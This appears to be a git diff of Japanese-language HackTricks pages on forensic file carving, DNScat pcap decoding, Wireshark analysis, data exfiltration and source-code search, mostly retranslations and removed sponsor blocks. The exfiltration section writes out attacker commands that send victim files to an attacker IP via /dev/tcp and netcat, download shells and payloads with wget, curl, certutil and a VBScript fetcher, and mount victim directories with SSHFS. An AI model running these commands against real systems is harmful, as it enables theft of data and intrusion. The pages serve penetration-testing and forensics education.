-すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。 +すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を参照)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。 ### PhotoRec @@ -102,14 +94,8 @@ AESキーのスケジュールを検索することでAESキーを検索しま ## 補完ツール -[**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\ -Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。 - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} +ターミナルから画像を見るために[**viu**](https://github.com/atanunq/viu)を使用できます。\ +PDFをテキストに変換して読むために、Linuxコマンドラインツール**pdftotext**を使用できます。 {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -120,8 +106,8 @@ GCPハッキングを学び、練習する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## カービングと回復ツール -さらに多くのツールは[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にあります。 +[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります。 ### Autopsy -画像からファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していません。 +画像からファイルを抽出するためにフォレンジックで最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください。 ### Binwalk @@ -59,9 +51,9 @@ scalpel file.img -o output ``` ### Bulk Extractor -このツールはkaliに含まれていますが、ここで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) +このツールはKaliに含まれていますが、こちらでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) -このツールはイメージをスキャンし、その中にある**pcaps**を**抽出**し、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**やその他の**ファイル**を取得します。あなたがする必要があるのは: +このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報(URL、ドメイン、IP、MAC、メール)**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは: ``` bulk_extractor memory.img -o out_folder ``` @@ -86,7 +78,7 @@ GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイ * サンプルの一部に焦点を当てる * PEまたはELF実行可能ファイルの**文字列とリソース**を見る * ファイルの暗号解析のための**パターン**を取得 -* パッカーまたはエンコーダアルゴリズムを**特定** +* パッカーやエンコーダアルゴリズムを**特定** * パターンによるステガノグラフィの**識別** * **視覚的**なバイナリ差分 @@ -96,7 +88,7 @@ BinVisは、ブラックボックスシナリオで未知のターゲットに ### FindAES -キーのスケジュールを検索することによってAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 +AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。 [こちらからダウンロード](https://sourceforge.net/projects/findaes/)。 @@ -105,12 +97,6 @@ BinVisは、ブラックボックスシナリオで未知のターゲットに [**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\ Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。 -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -120,8 +106,8 @@ GCPハッキングを学び、練習する: {% endhint %} -#### [WhiteIntel](https://whiteintel.io) -
-[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 +DNSCatによって**流出したデータ**を含むpcapがある場合(暗号化を使用していない場合)、流出したコンテンツを見つけることができます。 -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - -DNSCatによって**データが外部に流出している**pcapがある場合(暗号化を使用せず)、流出したコンテンツを見つけることができます。 - -最初の**9バイト**は実際のデータではなく、**C\&C通信**に関連していることを知っておくだけで十分です: +**最初の9バイト**は実際のデータではなく、**C&C通信**に関連していることを知っておく必要があります。 ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -50,7 +38,7 @@ last = qry #print(f) ``` -詳細情報については: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +詳細については、次のリンクを参照してください: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) Python3で動作するスクリプトがあります: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) @@ -66,8 +54,8 @@ GCPハッキングを学び、実践する: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、企業やその顧客が **stealer malwares** によって **compromised** されているかどうかを確認するための **無料** 機能を提供する **ダークウェブ** に基づいた検索エンジンです。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## Improve your Wireshark skills @@ -44,73 +31,73 @@ WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウ **Expert Information** -_**Analyze** --> **Expert Information**_ をクリックすると、パケットの **analyzed** 状態の **overview** が表示されます: +_**Analyze** --> **Expert Information**_をクリックすると、**分析された**パケットで何が起こっているかの**概要**が得られます: ![](<../../../.gitbook/assets/image (256).png>) **Resolved Addresses** -_**Statistics --> Resolved Addresses**_ の下には、wireshark によって "**resolved**" されたポート/トランスポートからプロトコル、MACから製造元などのいくつかの **information** を見つけることができます。通信に関与しているものを知るのは興味深いです。 +_**Statistics --> Resolved Addresses**_の下には、wiresharkによって「**解決された**」いくつかの**情報**(ポート/トランスポートからプロトコル、MACから製造元など)を見つけることができます。通信に関与しているものを知ることは興味深いです。 ![](<../../../.gitbook/assets/image (893).png>) **Protocol Hierarchy** -_**Statistics --> Protocol Hierarchy**_ の下には、通信に関与する **protocols** とそれに関するデータがあります。 +_**Statistics --> Protocol Hierarchy**_の下には、通信に関与する**プロトコル**とそれに関するデータがあります。 ![](<../../../.gitbook/assets/image (586).png>) **Conversations** -_**Statistics --> Conversations**_ の下には、通信の **summary of the conversations** とそれに関するデータがあります。 +_**Statistics --> Conversations**_の下には、通信の**会話の概要**とそれに関するデータがあります。 ![](<../../../.gitbook/assets/image (453).png>) **Endpoints** -_**Statistics --> Endpoints**_ の下には、通信の **summary of the endpoints** とそれぞれに関するデータがあります。 +_**Statistics --> Endpoints**_の下には、通信の**エンドポイントの概要**とそれぞれに関するデータがあります。 ![](<../../../.gitbook/assets/image (896).png>) **DNS info** -_**Statistics --> DNS**_ の下には、キャプチャされた DNS リクエストに関する統計があります。 +_**Statistics --> DNS**_の下には、キャプチャされたDNSリクエストに関する統計があります。 ![](<../../../.gitbook/assets/image (1063).png>) **I/O Graph** -_**Statistics --> I/O Graph**_ の下には、通信の **graph** があります。 +_**Statistics --> I/O Graph**_の下には、**通信のグラフ**があります。 ![](<../../../.gitbook/assets/image (992).png>) ### Filters -ここでは、プロトコルに応じた wireshark フィルターを見つけることができます: [https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ +ここでは、プロトコルに応じたwiresharkフィルターを見つけることができます:[https://www.wireshark.org/docs/dfref/](https://www.wireshark.org/docs/dfref/)\ 他の興味深いフィルター: * `(http.request or ssl.handshake.type == 1) and !(udp.port eq 1900)` -* HTTP と初期 HTTPS トラフィック +* HTTPおよび初期HTTPSトラフィック * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002) and !(udp.port eq 1900)` -* HTTP と初期 HTTPS トラフィック + TCP SYN +* HTTPおよび初期HTTPSトラフィック + TCP SYN * `(http.request or ssl.handshake.type == 1 or tcp.flags eq 0x0002 or dns) and !(udp.port eq 1900)` -* HTTP と初期 HTTPS トラフィック + TCP SYN + DNS リクエスト +* HTTPおよび初期HTTPSトラフィック + TCP SYN + DNSリクエスト ### Search -セッションの **packets** 内の **content** を **search** したい場合は、_CTRL+f_ を押します。メイン情報バー (No., Time, Source など) に新しいレイヤーを追加するには、右ボタンを押してから列を編集します。 +セッションの**パケット**内の**コンテンツ**を**検索**したい場合は、_CTRL+f_を押します。メイン情報バー(No.、Time、Sourceなど)に新しいレイヤーを追加するには、右ボタンを押してから列を編集します。 ### Free pcap labs -**無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) +**無料のチャレンジで練習する:** [**https://www.malware-traffic-analysis.net/**](https://www.malware-traffic-analysis.net) ## Identifying Domains -Host HTTP ヘッダーを表示する列を追加できます: +Host HTTPヘッダーを表示する列を追加できます: ![](<../../../.gitbook/assets/image (639).png>) -HTTPS 接続を開始する際のサーバー名を追加する列も追加できます (**ssl.handshake.type == 1**): +そして、開始HTTPS接続からサーバー名を追加する列(**ssl.handshake.type == 1**): ![](<../../../.gitbook/assets/image (408) (1).png>) @@ -118,7 +105,7 @@ HTTPS 接続を開始する際のサーバー名を追加する列も追加で ### From DHCP -現在の Wireshark では `bootp` の代わりに `DHCP` を検索する必要があります。 +現在のWiresharkでは、`bootp`の代わりに`DHCP`を検索する必要があります。 ![](<../../../.gitbook/assets/image (1013).png>) @@ -134,25 +121,25 @@ _edit>preference>protocol>ssl>_ ![](<../../../.gitbook/assets/image (1103).png>) -サーバーとプライベートキーのすべてのデータ (_IP, Port, Protocol, Key file and password_) を追加するには、_Edit_ を押します。 +_サーバーとプライベートキーのすべてのデータを追加するには、_Edit_を押します(_IP、Port、Protocol、Key fileおよびpassword_) ### Decrypting https traffic with symmetric session keys -Firefox と Chrome の両方には、TLS セッションキーをログに記録する機能があり、これを使用して Wireshark で TLS トラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/) のガイドにあります。 +FirefoxとChromeの両方は、TLSセッションキーをログに記録する機能があり、これを使用してWiresharkでTLSトラフィックを復号化できます。これにより、安全な通信の詳細な分析が可能になります。この復号化を実行する方法の詳細は、[Red Flag Security](https://redflagsecurity.net/2019/03/10/decrypting-tls-wireshark/)のガイドにあります。 -これを検出するには、環境内で変数 `SSLKEYLOGFILE` を検索します。 +これを検出するには、環境内で変数`SSLKEYLOGFILE`を検索します。 共有キーのファイルは次のようになります: ![](<../../../.gitbook/assets/image (820).png>) -これを wireshark にインポートするには、_edit > preference > protocol > ssl > そして (Pre)-Master-Secret log filename にインポートします: +これをwiresharkにインポートするには、_edit > preference > protocol > ssl >_に移動し、(Pre)-Master-Secretログファイル名にインポートします: ![](<../../../.gitbook/assets/image (989).png>) ## ADB communication -APK が送信された ADB 通信から APK を抽出します: +APKが送信されたADB通信からAPKを抽出します: ```python from scapy.all import * @@ -179,29 +166,17 @@ f = open('all_bytes.data', 'w+b') f.write(all_bytes) f.close() ``` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - {% hint style="success" %} -AWS ハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP ハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に、または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してください。 +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/generic-methodologies-and-resources/exfiltration.md b/generic-methodologies-and-resources/exfiltration.md index 437b30637..0f87b0550 100644 --- a/generic-methodologies-and-resources/exfiltration.md +++ b/generic-methodologies-and-resources/exfiltration.md @@ -1,40 +1,32 @@ -# 情報の外部流出 +# Exfiltration {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -**Try Hard Security Group** +## 情報を抽出するための一般的にホワイトリストに登録されたドメイン -
+[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されたドメインを見つけてください。 -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## 情報を外部流出するために一般的にホワイトリストに登録されているドメイン - -[https://lots-project.com/](https://lots-project.com/)をチェックして、悪用できる一般的にホワイトリストに登録されているドメインを見つける - -## Base64をコピー&ペースト +## Copy\&Paste Base64 **Linux** ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` -**Windows** +**ウィンドウズ** ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll @@ -48,7 +40,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` -**Windows** +**ウィンドウズ** ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -66,7 +58,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous ### ファイルのアップロード * [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +* [**GETおよびPOST(ヘッダーも含む)を印刷するSimpleHttpServer**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) * Pythonモジュール [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files @@ -123,17 +115,17 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ``` ## FTP -### FTPサーバー(Python) +### FTPサーバー (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` -### FTPサーバー(NodeJS) +### FTPサーバー (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` -### FTPサーバー(pure-ftp) +### FTPサーバー (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -164,14 +156,14 @@ ftp -n -v -s:ftp.txt ``` ## SMB -Kaliをサーバーとして使用 +Kaliをサーバーとして ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` -または、Sambaを使用してSMB共有を作成します: +または、**samba**を使用してsmb共有を作成します: ```bash apt-get install samba mkdir /tmp/smb @@ -186,7 +178,7 @@ guest ok = Yes #Start samba service smbd restart ``` -Windowsは、データを外部に持ち出すための多くの方法を提供します。これには、ファイル転送プロトコル(FTP)、リモートデスクトップ接続、USBデバイス、電子メール、Webサービス、およびクラウドストレージが含まれます。 +ウィンドウズ ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -202,34 +194,32 @@ scp @:/ ``` ## SSHFS -被害者がSSHを持っている場合、攻撃者は被害者から攻撃者にディレクトリをマウントできます。 +もし被害者がSSHを持っている場合、攻撃者は被害者のディレクトリを攻撃者にマウントすることができます。 ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` ## NC - -NC(Netcat)は、ネットワーク通信を行うための便利なツールです。通常、NCはバックドアの作成やデータの転送など、悪意のある目的で使用されます。 ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` ## /dev/tcp -### 被害者からファイルをダウンロード +### 被害者からファイルをダウンロードする ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` -### ターゲットにファイルをアップロード +### 被害者にファイルをアップロードする ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` -感謝 **@BinaryShadow\_** +thanks to **@BinaryShadow\_** ## **ICMP** ```bash @@ -251,15 +241,15 @@ sniff(iface="tun0", prn=process_packet) ``` ## **SMTP** -SMTPサーバーにデータを送信できる場合、Pythonを使用してデータを受信するSMTPを作成できます: +もしSMTPサーバーにデータを送信できるなら、Pythonを使ってデータを受信するためのSMTPを作成できます: ```bash sudo python -m smtpd -n -c DebuggingServer :25 ``` ## TFTP -XPおよび2003ではデフォルトで(他のOSではインストール時に明示的に追加する必要があります) +デフォルトではXPおよび2003で(他のものではインストール中に明示的に追加する必要があります) -Kaliでは、**TFTPサーバーを起動**します: +Kaliで、**TFTPサーバーを開始**: ```bash #I didn't get this options working and I prefer the python option mkdir /tftp @@ -277,27 +267,11 @@ tftp -i get nc.exe ``` ## PHP -PHPのワンライナーを使用してファイルをダウンロードします: +PHPのワンライナーでファイルをダウンロードする: ```bash echo "" > down2.php ``` ## VBScript - -### VBScript Exfiltration Techniques - -VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques used for data exfiltration using VBScript: - -1. **Writing to Files**: VBScript can write data to files on the system, which can then be transferred out. - -2. **Sending HTTP Requests**: VBScript can send HTTP requests to an external server with the exfiltrated data embedded in the request. - -3. **Email**: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body. - -4. **DNS Tunneling**: VBScript can encode data and send it over DNS requests to a controlled server for exfiltration. - -5. **Executing Commands**: VBScript can execute commands to exfiltrate data through various channels. - -By leveraging these techniques, an attacker can exfiltrate sensitive data from a target system using VBScript. ```bash Attacker> python -m SimpleHTTPServer 80 ``` @@ -335,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` ## Debug.exe -`debug.exe`プログラムは、バイナリの検査だけでなく、**16進数からバイナリを再構築する機能**も持っています。これは、バイナリの16進数を提供することで、`debug.exe`がバイナリファイルを生成できることを意味します。ただし、重要な点として、debug.exeには**64 kbまでのファイルをアセンブリするという制限**があることに注意する必要があります。 +`debug.exe` プログラムはバイナリの検査だけでなく、**16進数からそれらを再構築する能力**も持っています。これは、バイナリの16進数を提供することで、`debug.exe` がバイナリファイルを生成できることを意味します。ただし、debug.exe には **最大64 kbのサイズのファイルをアセンブルする制限**があることに注意することが重要です。 ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` -```markdown -次に、テキストをwindows-shellにコピーして、nc.exeというファイルが作成されます。 +次に、テキストをウィンドウズシェルにコピー&ペーストすると、nc.exeというファイルが作成されます。 * [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) @@ -350,24 +323,17 @@ wine exe2bat.exe nc.exe nc.txt * [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %} -``` diff --git a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md index 81e0390fa..48a483581 100644 --- a/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md +++ b/generic-methodologies-and-resources/external-recon-methodology/wide-source-code-search.md @@ -1,59 +1,45 @@ -# 広範囲なソースコード検索 +# ワイドソースコード検索 {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**購読プラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -このページの目的は、1つまたは複数のプラットフォームで数千/数百万のリポジトリを横断してコード(リテラルまたは正規表現)を検索できる**プラットフォームを列挙**することです。 +このページの目的は、**コードを検索できるプラットフォーム**(リテラルまたは正規表現)を列挙することです。これは、1つまたは複数のプラットフォームで数千または数百万のリポジトリにわたります。 これは、**漏洩情報**や**脆弱性**パターンを検索する際に役立ちます。 -* [**SourceGraph**](https://sourcegraph.com/search): 数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。 -* [**Github Search**](https://github.com/search): Github全体を検索します。正規表現をサポートしています。 -* また、[**Github Code Search**](https://cs.github.com/)をチェックすることも役立つかもしれません。 -* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Gitlabプロジェクト全体を検索します。正規表現をサポートしています。 -* [**SearchCode**](https://searchcode.com/): 数百万のプロジェクト内のコードを検索します。 +* [**SourceGraph**](https://sourcegraph.com/search):数百万のリポジトリを検索します。無料版とエンタープライズ版(15日間無料)があります。正規表現をサポートしています。 +* [**Github Search**](https://github.com/search):Github全体を検索します。正規表現をサポートしています。 +* [**Github Code Search**](https://cs.github.com/)も確認するのが有用かもしれません。 +* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html):Gitlabプロジェクト全体を検索します。正規表現をサポートしています。 +* [**SearchCode**](https://searchcode.com/):数百万のプロジェクトのコードを検索します。 {% hint style="warning" %} -リポジトリ内で漏洩を探す際に`git log -p`などを実行すると、秘密情報を含む**他のコミットを持つ他のブランチ**があるかもしれないことを忘れないでください! +リポジトリで漏洩を探すときに`git log -p`のようなコマンドを実行する際は、**他のコミットを含む他のブランチ**が存在するかもしれないことを忘れないでください! {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
